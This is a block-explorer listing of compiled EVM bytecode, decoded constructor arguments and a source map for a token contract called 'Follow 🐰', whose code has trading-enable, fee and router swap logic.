2602001600020540361117a57600654600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600960007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060045411801561126957506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112825750600760019054906101000a900460ff16155b80156112cd57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156113a9576064600454856112e29190611fcf565b6112ec9190612058565b915081846112fa9190611db5565b935081600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461134b9190611db5565b9250508190555081600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113a19190611f79565b925050819055505b83600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113f89190611db5565b9250508190555083600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461144e9190611f79565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114b29190611b4e565b60405180910390a3600760049054906101000a900460ff16611544576114d6610700565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153a906120fb565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826116289190612058565b90506000479050611639823061165a565b600081476116479190611db5565b9050611654838230611899565b50505050565b6000600267ffffffffffffffff8111156116775761167661211b565b5b6040519080825280602002602001820160405280156116a55781602001602082028036833780820191505090505b50905030816000815181106116bd576116bc61214a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611762573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611786919061218e565b8160018151811061179a5761179961214a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117ff307f000000000000000000000000000000000000000000000000000000000000000085610a02565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b81526004016118629594939291906122b4565b600060405180830381600087803b15801561187c57600080fd5b505af1158015611890573d6000803e3d6000fd5b50505050505050565b6118c4307f000000000000000000000000000000000000000000000000000000000000000085610a02565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161192a9695949392919061230e565b60606040518083038185885af1158015611948573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061196d9190612384565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119af578082015181840152602081019050611994565b838111156119be576000848401525b50505050565b6000601f19601f8301169050919050565b60006119e082611975565b6119ea8185611980565b93506119fa818560208601611991565b611a03816119c4565b840191505092915050565b60006020820190508181036000830152611a2881846119d5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a6082611a35565b9050919050565b611a7081611a55565b8114611a7b57600080fd5b50565b600081359050611a8d81611a67565b92915050565b6000819050919050565b611aa681611a93565b8114611ab157600080fd5b50565b600081359050611ac381611a9d565b92915050565b60008060408385031215611ae057611adf611a30565b5b6000611aee85828601611a7e565b9250506020611aff85828601611ab4565b9150509250929050565b60008115159050919050565b611b1e81611b09565b82525050565b6000602082019050611b396000830184611b15565b92915050565b611b4881611a93565b82525050565b6000602082019050611b636000830184611b3f565b92915050565b600080600060608486031215611b8257611b81611a30565b5b6000611b9086828701611a7e565b9350506020611ba186828701611a7e565b9250506040611bb286828701611ab4565b9150509250925092565b6000819050919050565b6000611be1611bdc611bd784611a35565b611bbc565b611a35565b9050919050565b6000611bf382611bc6565b9050919050565b6000611c0582611be8565b9050919050565b611c1581611bfa565b82525050565b6000602082019050611c306000830184611c0c565b92915050565b611c3f81611a55565b82525050565b6000602082019050611c5a6000830184611c36565b92915050565b600060208284031215611c7657611c75611a30565b5b6000611c8484828501611a7e565b91505092915050565b60008060408385031215611ca457611ca3611a30565b5b6000611cb285828601611a7e565b9250506020611cc385828601611a7e565b9150509250929050565b611cd681611b09565b8114611ce157600080fd5b50565b600081359050611cf381611ccd565b92915050565b600060208284031215611d0f57611d0e611a30565b5b6000611d1d84828501611ce4565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d6d57607f821691505b602082108103611d8057611d7f611d26565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611dc082611a93565b9150611dcb83611a93565b925082821015611dde57611ddd611d86565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e1f602083611980565b9150611e2a82611de9565b602082019050919050565b60006020820190508181036000830152611e4e81611e12565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611eb1602683611980565b9150611ebc82611e55565b604082019050919050565b60006020820190508181036000830152611ee081611ea4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611f43602483611980565b9150611f4e82611ee7565b604082019050919050565b60006020820190508181036000830152611f7281611f36565b9050919050565b6000611f8482611a93565b9150611f8f83611a93565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611fc457611fc3611d86565b5b828201905092915050565b6000611fda82611a93565b9150611fe583611a93565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561201e5761201d611d86565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061206382611a93565b915061206e83611a93565b92508261207e5761207d612029565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006120e5603f83611980565b91506120f082612089565b604082019050919050565b60006020820190508181036000830152612114816120d8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061218881611a67565b92915050565b6000602082840312156121a4576121a3611a30565b5b60006121b284828501612179565b91505092915050565b6000819050919050565b60006121e06121db6121d6846121bb565b611bbc565b611a93565b9050919050565b6121f0816121c5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61222b81611a55565b82525050565b600061223d8383612222565b60208301905092915050565b6000602082019050919050565b6000612261826121f6565b61226b8185612201565b935061227683612212565b8060005b838110156122a757815161228e8882612231565b975061229983612249565b92505060018101905061227a565b5085935050505092915050565b600060a0820190506122c96000830188611b3f565b6122d660208301876121e7565b81810360408301526122e88186612256565b90506122f76060830185611c36565b6123046080830184611b3f565b9695505050505050565b600060c0820190506123236000830189611c36565b6123306020830188611b3f565b61233d60408301876121e7565b61234a60608301866121e7565b6123576080830185611c36565b61236460a0830184611b3f565b979650505050505050565b60008151905061237e81611a9d565b92915050565b60008060006060848603121561239d5761239c611a30565b5b60006123ab8682870161236f565b93505060206123bc8682870161236f565b92505060406123cd8682870161236f565b915050925092509256fea2646970667358221220f85f9ccd28f8124e5ee5b97a360020848333ee06656fb35a4a16e6489f7e646d64736f6c634300080e0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000b466f6c6c6f7720f09f90b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000546f09f90b0000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061010d5760003560e01c8063715018a611610095578063ca4d1f9211610064578063ca4d1f921461037c578063dd62ed3e146103a7578063e1911d02146103e4578063f275f64b1461040f578063f2fde38b1461043857610114565b8063715018a6146102d25780638da5cb5b146102e957806395d89b4114610314578063a9059cbb1461033f57610114565b8063313ce567116100dc578063313ce567146101e9578063471a65c41461021457806349bd5a5e1461023f5780637075b0361461026a57806370a082311461029557610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610461565b60405161013b9190611a0e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611ac9565b6104f3565b6040516101789190611b24565b60405180910390f35b34801561018d57600080fd5b50610196610508565b6040516101a39190611b4e565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190611b69565b610512565b6040516101e09190611b24565b60405180910390f35b3480156101f557600080fd5b506101fe6105ba565b60405161020b9190611b4e565b60405180910390f35b34801561022057600080fd5b506102296105d4565b6040516102369190611c1b565b60405180910390f35b34801561024b57600080fd5b506102546105f8565b6040516102619190611c45565b60405180910390f35b34801561027657600080fd5b5061027f61061c565b60405161028c9190611b24565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190611c60565b61062f565b6040516102c99190611b4e565b60405180910390f35b3480156102de57600080fd5b506102e7610678565b005b3480156102f557600080fd5b506102fe610700565b60405161030b9190611c45565b60405180910390f35b34801561032057600080fd5b50610329610729565b6040516103369190611a0e565b60405180910390f35b34801561034b57600080fd5b5061036660048036038101906103619190611ac9565b6107bb565b6040516103739190611b24565b60405180910390f35b34801561038857600080fd5b506103916107d2565b60405161039e9190611b24565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c99190611c8d565b6107e5565b6040516103db9190611b4e565b60405180910390f35b3480156103f057600080fd5b506103f961086c565b6040516104069190611b4e565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190611cf9565b610872565b005b34801561044457600080fd5b5061045f600480360381019061045a9190611c60565b61090b565b005b60606002805461047090611d55565b80601f016020809104026020016040519081016040528092919081815260200182805461049c90611d55565b80156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b5050505050905090565b6000610500338484610a02565b905092915050565b6000600554905090565b600061051f848484610b9d565b6105b1843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ac9190611db5565b610a02565b90509392505050565b6000600360009054906101000a900460ff1660ff16905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b7f000000000000000000000000e0f31d71421c99c8cf3a0733faf09280757b3d5981565b600760009054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61068061154d565b73ffffffffffffffffffffffffffffffffffffffff1661069e610700565b73ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90611e35565b60405180910390fd5b6106fe6000611555565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461073890611d55565b80601f016020809104026020016040519081016040528092919081815260200182805461076490611d55565b80156107b15780601f10610786576101008083540402835291602001916107b1565b820191906000526020600020905b81548152906001019060200180831161079457829003601f168201915b5050505050905090565b60006107c8338484610b9d565b6001905092915050565b600760029054906101000a900460ff1681565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60045481565b61087a61154d565b73ffffffffffffffffffffffffffffffffffffffff16610898610700565b73ffffffffffffffffffffffffffffffffffffffff16146108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e590611e35565b60405180910390fd5b80600760046101000a81548160ff02191690831515021790555050565b61091361154d565b73ffffffffffffffffffffffffffffffffffffffff16610931610700565b73ffffffffffffffffffffffffffffffffffffffff1614610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097e90611e35565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ed90611ec7565b60405180910390fd5b6109ff81611555565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a6d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa390611f59565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b8a9190611b4e565b60405180910390a3600190509392505050565b6000610ba83061062f565b90506000600760009054906101000a900460ff168015610bc9575060065482115b8015610be25750600760019054906101000a900460ff16155b8015610c3a57507f000000000000000000000000e0f31d71421c99c8cf3a0733faf09280757b3d5973ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c83576001600760016101000a81548160ff021916908315150217905550610c6382611619565b6000600760016101000a81548160ff021916908315150217905550611068565b600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d135750600654600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d825782905080600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d6a9190611f79565b92505081905550610d7b838561165a565b5050611548565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e1d57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610e2a575060065483115b8015610e8257507f000000000000000000000000e0f31d71421c99c8cf3a0733faf09280757b3d5973ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610ed25782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050611548565b600760019054906101000a900460ff16158015610f2e57506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f8657507f000000000000000000000000e0f31d71421c99c8cf3a0733faf09280757b3d5973ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610fd157506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561106757600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110239190611db5565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600960007f000000000000000000000000e0f31d71421c99c8cf3a0733faf09280757b3d5973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361117a57600654600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600960007f000000000000000000000000e0f31d71421c99c8cf3a0733faf09280757b3d5973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060045411801561126957506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112825750600760019054906101000a900460ff16155b80156112cd57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156113a9576064600454856112e29190611fcf565b6112ec9190612058565b915081846112fa9190611db5565b935081600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461134b9190611db5565b9250508190555081600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113a19190611f79565b925050819055505b83600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113f89190611db5565b9250508190555083600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461144e9190611f79565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114b29190611b4e565b60405180910390a3600760049054906101000a900460ff16611544576114d6610700565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153a906120fb565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826116289190612058565b90506000479050611639823061165a565b600081476116479190611db5565b9050611654838230611899565b50505050565b6000600267ffffffffffffffff8111156116775761167661211b565b5b6040519080825280602002602001820160405280156116a55781602001602082028036833780820191505090505b50905030816000815181106116bd576116bc61214a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611762573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611786919061218e565b8160018151811061179a5761179961214a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117ff307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d85610a02565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b81526004016118629594939291906122b4565b600060405180830381600087803b15801561187c57600080fd5b505af1158015611890573d6000803e3d6000fd5b50505050505050565b6118c4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d85610a02565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161192a9695949392919061230e565b60606040518083038185885af1158015611948573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061196d9190612384565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119af578082015181840152602081019050611994565b838111156119be576000848401525b50505050565b6000601f19601f8301169050919050565b60006119e082611975565b6119ea8185611980565b93506119fa818560208601611991565b611a03816119c4565b840191505092915050565b60006020820190508181036000830152611a2881846119d5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a6082611a35565b9050919050565b611a7081611a55565b8114611a7b57600080fd5b50565b600081359050611a8d81611a67565b92915050565b6000819050919050565b611aa681611a93565b8114611ab157600080fd5b50565b600081359050611ac381611a9d565b92915050565b60008060408385031215611ae057611adf611a30565b5b6000611aee85828601611a7e565b9250506020611aff85828601611ab4565b9150509250929050565b60008115159050919050565b611b1e81611b09565b82525050565b6000602082019050611b396000830184611b15565b92915050565b611b4881611a93565b82525050565b6000602082019050611b636000830184611b3f565b92915050565b600080600060608486031215611b8257611b81611a30565b5b6000611b9086828701611a7e565b9350506020611ba186828701611a7e565b9250506040611bb286828701611ab4565b9150509250925092565b6000819050919050565b6000611be1611bdc611bd784611a35565b611bbc565b611a35565b9050919050565b6000611bf382611bc6565b9050919050565b6000611c0582611be8565b9050919050565b611c1581611bfa565b82525050565b6000602082019050611c306000830184611c0c565b92915050565b611c3f81611a55565b82525050565b6000602082019050611c5a6000830184611c36565b92915050565b600060208284031215611c7657611c75611a30565b5b6000611c8484828501611a7e565b91505092915050565b60008060408385031215611ca457611ca3611a30565b5b6000611cb285828601611a7e565b9250506020611cc385828601611a7e565b9150509250929050565b611cd681611b09565b8114611ce157600080fd5b50565b600081359050611cf381611ccd565b92915050565b600060208284031215611d0f57611d0e611a30565b5b6000611d1d84828501611ce4565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d6d57607f821691505b602082108103611d8057611d7f611d26565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611dc082611a93565b9150611dcb83611a93565b925082821015611dde57611ddd611d86565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e1f602083611980565b9150611e2a82611de9565b602082019050919050565b60006020820190508181036000830152611e4e81611e12565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611eb1602683611980565b9150611ebc82611e55565b604082019050919050565b60006020820190508181036000830152611ee081611ea4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611f43602483611980565b9150611f4e82611ee7565b604082019050919050565b60006020820190508181036000830152611f7281611f36565b9050919050565b6000611f8482611a93565b9150611f8f83611a93565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611fc457611fc3611d86565b5b828201905092915050565b6000611fda82611a93565b9150611fe583611a93565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561201e5761201d611d86565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061206382611a93565b915061206e83611a93565b92508261207e5761207d612029565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006120e5603f83611980565b91506120f082612089565b604082019050919050565b60006020820190508181036000830152612114816120d8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061218881611a67565b92915050565b6000602082840312156121a4576121a3611a30565b5b60006121b284828501612179565b91505092915050565b6000819050919050565b60006121e06121db6121d6846121bb565b611bbc565b611a93565b9050919050565b6121f0816121c5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61222b81611a55565b82525050565b600061223d8383612222565b60208301905092915050565b6000602082019050919050565b6000612261826121f6565b61226b8185612201565b935061227683612212565b8060005b838110156122a757815161228e8882612231565b975061229983612249565b92505060018101905061227a565b5085935050505092915050565b600060a0820190506122c96000830188611b3f565b6122d660208301876121e7565b81810360408301526122e88186612256565b90506122f76060830185611c36565b6123046080830184611b3f565b9695505050505050565b600060c0820190506123236000830189611c36565b6123306020830188611b3f565b61233d60408301876121e7565b61234a60608301866121e7565b6123576080830185611c36565b61236460a0830184611b3f565b979650505050505050565b60008151905061237e81611a9d565b92915050565b60008060006060848603121561239d5761239c611a30565b5b60006123ab8682870161236f565b93505060206123bc8682870161236f565b92505060406123cd8682870161236f565b915050925092509256fea2646970667358221220f85f9ccd28f8124e5ee5b97a360020848333ee06656fb35a4a16e6489f7e646d64736f6c634300080e0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000b466f6c6c6f7720f09f90b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000546f09f90b0000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): Follow 🐰
Arg [1] : Symbol (string): F🐰
Arg [2] : RouterLink (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [4] : 466f6c6c6f7720f09f90b0000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 46f09f90b0000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

10208:6609:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11693:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12219:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11782:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14906:275;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11874:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11540:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11495:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11043:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12105:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2617:94;;;;;;;;;;;;;:::i;:::-;;2398:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11600;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15187:160;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11102:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11965:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10907:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16050:104;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2717:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11693:83;11730:13;11763:5;11756:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11693:83;:::o;12219:137::-;12287:4;12311:37;12320:10;12332:7;12341:6;12311:8;:37::i;:::-;12304:44;;12219:137;;;;:::o;11782:86::-;11826:7;11853;;11846:14;;11782:86;:::o;14906:275::-;15031:4;15048:37;15059:6;15067:9;15078:6;15048:10;:37::i;:::-;15103:70;15112:6;15120:10;15166:6;15132:11;:19;15144:6;15132:19;;;;;;;;;;;;;;;:31;15152:10;15132:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;15103:8;:70::i;:::-;15096:77;;14906:275;;;;;:::o;11874:85::-;11915:7;